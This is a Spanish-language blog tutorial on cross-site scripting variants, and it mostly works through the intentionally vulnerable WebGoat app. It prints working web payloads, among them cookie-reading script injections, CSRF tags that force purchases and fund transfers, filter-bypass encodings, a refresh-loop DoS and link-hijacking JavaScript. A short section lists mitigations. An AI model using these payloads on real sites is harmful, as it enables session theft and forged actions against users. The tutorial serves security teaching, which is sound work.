Hay bastantes tipos de XSS. Hablaremos un poco de ellos, y después unos ejemplos en la aplicación web vulnerable WebGoat de la OWASP.
Algunos tipos de XSS
- Reflected XSS
- Stored XSS
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- DoS (XSS DoS)
Instalando WebGoat
Requisitos:
- Java
- Tomcat
Reflected XSS
El ataque XSS reflejado o no-persistente es un tipo de inyección de código que no se almacena en la aplicación sino que ocurre cuando se carga una URL en el navegador.
La idea de este ataque es que el atacante le pasa a la víctima una URL maliciosa y esta, al introducir la URL en el navegador ejecuta el código malicioso.
En WebGoat:
Entramos en el apartado Cross Site Scripting(XSS) en la barra lateral izquierda. Y luego Stage 5: Reflected XSS.
Elegimos Larry Stooge (employee) y de contraseña larry.
Pinchamos en SearchStaff y ahora introducimos en el campo de búsqueda:
"><script>alert('XSS reflejado')</script>
También podemos introducir el siguiente código para obtener la cookie:
"><script>alert(document.cookie)</script>
Hay ocasiones en las que se filtran los carácteres '<', '>' y '/'. Podemos pensar a priori que la aplicación no es vulnerable a XSS, sin embargo podemos probar a usar dichos caracteres en hexadecimal. En este caso hay que sustituir los carácteres. '<' es el caracter %3c, '>' es %3e y '/' es %2f. En este caso el código quedaría:
"%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e
Stored XSS
El XSS persistente se basa en el XSS no persistente, la diferencia que hay entre ambos y la que hace al persistente más peligroso es que se almacena en la aplicación web.
El vector de ataque seria algo así:
- Se escribe el código malicioso en la web (ya sea en forma de comentarios, gestores de archivos, perfiles de usuario...).
- La victima accede a la aplicación web.
- El codigo malicioso se ejecuta en el navegador del usuario.
En WebGoat:
Entramos en el apartado Cross Site Scripting(XSS) en la barra lateral izquierda. Y luego Stage 1: Stored XSS.
Nos logueamos por ejemplo como Tom Cat, contraseña tom. Pinchamos en View Profile y después en Edit Profile. Y por ejemplo en el campo Comments introducimos:
"><script>alert(document.cookie)</script>
Para escapar los caracteres, en caso de que la aplicación los filtre se pueden utilizar los mismos ejemplos que en el caso de reflected XSS.
Cross Site Request/Reference Forgery (CSRF)
El Cross Site Request Forgery (CSRF) es un ataque que se basa en la confianza entre un usuario y la aplicación para hacer que el usuario ejecute código malicioso sin saberlo y al estar logueado en la aplicación, esta no sabe si es el usuario legítimo el que quiere ejecutar el código o este ha sido ocultado mediante CSRF.
Con este ataque se puede forzar a un usuario de por ejemplo un blog o foro, a que postee algo sin el saberlo. La manera más comun de realizar esto es mediante javascript, o con parámetros via GET y POST. Por ejemplo:
Imaginad que estamos logueados en una tienda online que tiene una funcion comprar y cuando se compra un objeto, se hace una llamada tal que así:
http://www.tienda.com/comprar.php?idObjeto=234618
- Con la etiqueta <img> de HTML
<img src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con la etiqueta <script> de HTML
<script src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con iframes
<iframe src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con javascript
<script> var imagen = new Image(); imagen.src = "http://www.tienda.com/comprar.php?idObjeto=234618"; </script>
La solución para este tipo de ataques pasa por utilizar un token que se genere cuando el usuario se loguea en la aplicación y que se almacena en la sesión del usuario. En cada formulario que tenga que rellenar el usuario, este token está presente como campo oculto para evitar que se pueda ejecutar código mediante CSRF.
En WebGoat:
Entramos en Cross Site Request Forgery(CSRF) en la barra lateral izquierda y veremos esto:
[img]
Ahora introducimos el título que queramos y en Message: escribimos:
<img src="attack?Screen=9&menu=900&transferFunds=4000" width="1" height="1">
Cross Frame Scripting(XFS)
Como su propio nombre indica esta variante se ayuda de iframes para ejecutar el código malicioso. Si tenemos una aplicación que usa GET, podemos realizar un XFS en ella con un código del estilo de:
<iframe frameborder="0" width="0" height="0" src="aqui cargamos el .js que queramos ejecutar" ></iframe>
Cross Agent Scripting(XAS)
En este caso se cambia el User-Agent del navegador web, donde se puede inyectar código mediante las etiquetas <script></script>
La aplicación será vulnerable si la manera de identificar el User-Agent es como esta (es decir, no filtra los carácteres especiales):
$_SERVER['HTTP_USER_AGENT'];
Cross Referer Scripting(XRS)
Esta variante, se basa al igual que la anterior en las cabeceras HTTP, cambiando el parámetro Referer donde se puede introducir un string que ejecute un código js. Se puede comprobar si una aplicación es vulnerable a XAS y XRS con el plugin de Firefox Modify Headers
XSS Denial of Service (XSS DoS)
Como ya sabeis, las vulnerabilidades DoS consisten en que impiden el funcionamiento normal de una aplicación. En este caso al ser XSS DoS lo que impiden es el funcionamiento del navegador de internet.
Un código simple para realizar un XSS DoS con alerts que se muestran por pantalla es:
<script>for() alert("XSS DoS");</script>
Otra manera más elaborada de XSS DoS es la siguiente:
<meta%20http-equiv="refresh"%20content="0;">
Bypassing filters
Normalmente, las aplicaciones deberían estar protegidas al menos contra las etiquetas <script></script> para evitar el XSS más común, pero como ya vimos atrás hay maneras de saltarse ese tipo de filtros, aquí os contaré algunas de ellas:
Código original:
<script>alert("vC")</script>
<sCrIPT>alert("vC")</scRIPt>
<script>&# 97lert("vC")</script>
Inyección con valores hexadecimales:
<script>ale&# 72t("vC")</script>
Inyección con valores hexadecimales(con ceros):
<script>ale&# 00072t("vC")</script>
Inyección con espacios:
<script>a lert("vC")</script>
<script>alert("vC")</script
<script>
al
ert("v
C")
</script
String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,118,67,34,41,60,47,115,99,114,105,112,116,62)
<script>String.fromCharCode(97,108,101,114,116,40,34,118,67,34,41)</script>
String.fromCharCode(60,115,99,114,105,112,116,62,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,57,55,44,49,48,56,44,49,48,49,44,49,49,52,44,49,49,54,44,52,48,44,51,52,44,49,49,56,44,54,55,44,51,52,44,52,49,41,60,47,115,99,114,105,112,116,62)
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%76%43%22%29%3c%2f%73%63%72%69%70%74%3e
También podemos combinar varios tipos de codificación para hacer más fuerte la inyección:
<img src=vC.png onerror=alert("vC") />
<img src=vC.png onerror=%61%6c%65%72%74%28%22%76%43%22%29 />
String.fromCharCode(60,105,109,103,32,115,114,99,61,118,67,46,112,110,103,32,111,110,101,114,114,111,114,61,37,54,49,37,54,99,37,54,53,37,55,50,37,55,52,37,50,56,37,50,50,37,55,54,37,52,51,37,50,50,37,50,57,32,47,62)
Soluciones
Vamos a diferenciar dos tipos de soluciones, primero la del lado del desarrollador, y la del lado del usuario.
Del lado del desarrollador:
- Validar los datos que introducen en nuestra aplicación.
- Escapar determinados carácteres como '<', '>'.
- Utilizar una política HTML para "limpiar" el código.
Del lado del usuario, lo tenemos un poco más dificil porque los XSS, sobre todo los persistentes o los CSRF son muy peligrosos. Podemos convertirnos en zombies de una botnet sin saberlo, por eso existe una extensión (Firefox), llamada NoScript que lo que hace es evitar la ejecución de TODOS los scripts, es decir, si queremos ejecutar un script en una aplicación web de confianza tenemos que decirle a la extensión que es fiable y que puede ejecutar scripts en esa web. Pero por defecto bloquea todos, lo que puede ser un poco tedioso en según que ocasiones.
Posibilidades de XSS
La mayoría de ejemplos que hemos usado aquí son inocuos y no hacen más que mostrar un alert con un texto determinado o con las cookies de la sesión del navegador, sin embargo hay muchas posibilidades:
Por ejemplo, este código hace que todos los links de una página, al pinchar sobre ellos, abran su destino normal además de http://vidasconcurrentes.blogspot.com:
var links = document.links;
for(var i = 0; i < links.length; i++) {
links[i].addEventListener('click', function() {
window.open("http://vidasconcurrentes.blogspot.com");
}, false);
}
var links = document.links;
for(var i = 0; i < links.length; i++) {
links[i].addEventListener('click', function() {
window.location = "http://vidasconcurrentes.blogspot.com";
}, false);
}
Aunque esto son solo juegos, con xss se puede desde obligar a que los usuarios descarguen ficheros maliciosos, recuperar su historial de navegación. E incluso existe un framework llamado BEeF con el que se puede desde recoger las pulsaciones de un usuario afectado por XSS (keylogger), usarlo como proxy para navegar hasta explotar vulnerabilidades en el navegador con Metasploit.








comentarios